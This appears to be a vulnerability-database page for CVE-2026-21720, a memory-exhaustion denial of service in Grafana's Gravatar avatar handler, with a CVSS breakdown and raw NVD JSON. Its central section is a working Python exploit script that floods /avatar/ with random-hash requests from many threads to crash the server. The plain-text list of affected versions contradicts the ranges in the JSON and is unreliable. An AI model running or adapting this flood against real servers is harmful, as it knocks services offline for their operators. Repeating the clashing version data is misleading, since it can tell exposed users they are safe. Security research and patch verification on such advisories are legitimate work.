Security Vulnerability Report
中文
CVE-2026-21720 CVSS 7.5 HIGH

CVE-2026-21720

Published: 2026-01-27 09:15:48
Last Modified: 2026-02-17 20:06:28

Description

Every uncached /avatar/:hash request spawns a goroutine that refreshes the Gravatar image. If the refresh sits in the 10-slot worker queue longer than three seconds, the handler times out and stops listening for the result, so that goroutine blocks forever trying to send on an unbuffered channel. Sustained traffic with random hashes keeps tripping this timeout, so goroutine count grows linearly, eventually exhausting memory and causing Grafana to crash on some systems.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:grafana:grafana:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:grafana:grafana:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:grafana:grafana:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:grafana:grafana:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:grafana:grafana:*:*:*:*:-:*:*:* - VULNERABLE
Grafana < 10.2.5
Grafana < 10.3.3
Grafana < 11.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-21720 PoC - Grafana Gravatar DoS Exploit This PoC demonstrates the memory exhaustion vulnerability in Grafana's avatar handling. """ import requests import random import string import threading import time TARGET_URL = "http://target-grafana:3000" AVATAR_ENDPOINT = f"{TARGET_URL}/avatar/" NUM_THREADS = 10 REQUESTS_PER_THREAD = 100 def generate_random_hash(length=32): """Generate a random hash to trigger new goroutine creation""" return ''.join(random.choices(string.ascii_letters + string.digits, k=length)) def send_avatar_request(thread_id): """Send avatar requests with random hashes""" session = requests.Session() for i in range(REQUESTS_PER_THREAD): hash_value = generate_random_hash() try: url = f"{AVATAR_ENDPOINT}{hash_value}" response = session.get(url, timeout=5) print(f"[Thread-{thread_id}] Request {i+1}: Status {response.status_code}") except requests.exceptions.RequestException as e: print(f"[Thread-{thread_id}] Request {i+1} failed: {e}") time.sleep(0.1) def main(): print(f"[*] Starting CVE-2026-21720 DoS Attack") print(f"[*] Target: {TARGET_URL}") print(f"[*] Threads: {NUM_THREADS}, Requests per thread: {REQUESTS_PER_THREAD}") threads = [] start_time = time.time() # Launch attack threads for i in range(NUM_THREADS): t = threading.Thread(target=send_avatar_request, args=(i,)) threads.append(t) t.start() # Wait for all threads to complete for t in threads: t.join() elapsed = time.time() - start_time print(f"[*] Attack completed in {elapsed:.2f} seconds") print(f"[*] Total requests sent: {NUM_THREADS * REQUESTS_PER_THREAD}") print(f"[*] Check Grafana memory usage - it should be growing linearly") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21720", "sourceIdentifier": "[email protected]", "published": "2026-01-27T09:15:48.490", "lastModified": "2026-02-17T20:06:27.733", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Every uncached /avatar/:hash request spawns a goroutine that refreshes the Gravatar image. If the refresh sits in the 10-slot worker queue longer than three seconds, the handler times out and stops listening for the result, so that goroutine blocks forever trying to send on an unbuffered channel. Sustained traffic with random hashes keeps tripping this timeout, so goroutine count grows linearly, eventually exhausting memory and causing Grafana to crash on some systems."}, {"lang": "es", "value": "Cada solicitud sin caché a /avatar/:hash lanza una goroutine que actualiza la imagen de Gravatar. Si la actualización permanece en la cola de trabajadores de 10 ranuras por más de tres segundos, el manejador agota el tiempo de espera y deja de escuchar el resultado, de modo que esa goroutine se bloquea para siempre intentando enviar en un canal sin búfer. El tráfico sostenido con hashes aleatorios sigue activando este tiempo de espera, por lo que el recuento de goroutines crece linealmente, agotando la memoria con el tiempo y provocando que Grafana falle en algunos sistemas."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-703"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:-:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "11.6.9", "matchCriteriaId": "215EC0E7-BF4E-460F-893F-3D5E56692D65"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "11.6.9", "matchCriteriaId": "4D528EF4-2414-4A32-BA0E-16FA15EE1D52"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:-:*:*:*", "versionStartIncluding": "12.0.0", "versionEndExcluding": "12.0.8", "matchCriteriaId": "C3E78D4A-A206-4BD4-BBE5-F8BE832B4A07"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "12.0.0", "versionEndExcluding": "12.0.8", "matchCriteriaId": "C0821B6B-AC98-4A9D-973D-12E2063DF866"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:-:*:*:*", "versionStartIncluding": "12.1.0", "versionEndExcluding": "12.1.5", "matchCriteriaId": "993757EB-FCCD-4B3B-B23A-00EA8B1AFF52"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "12.1.0", "versionEndExcluding": "12.1.5", "matchCriteriaId": "FB947690-25AC-4597-80B3-9034CE94B8C7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:-:*:*:*", "versionStartIncluding": "12.2.0", "versionEndExcluding": "12.2.3", "matchCriteriaId": "A87029A0-871D-4130-A240-7A64990573F5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "12.2.0", "versionEndExcluding": "12.2.3", "matchCriteriaId": "B3E99C8B-08A8-4672-8ED2-E8CE2F3DCD4A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:12.3.0:*:*:*:-:*:*:*", "matchCriteriaId": "9BE4EE19-92B3-4B1D-97BE-76194B38DA2A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:12.3.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "EB9EC106-6F33-4834-B59D-6633BB83B6A5"}]}]}], "references": [{"url": "https://grafana.com/security/security-advisories/CVE-2026-21720", "source": "[email protected]", "tags": ["Broken Link"]}]}}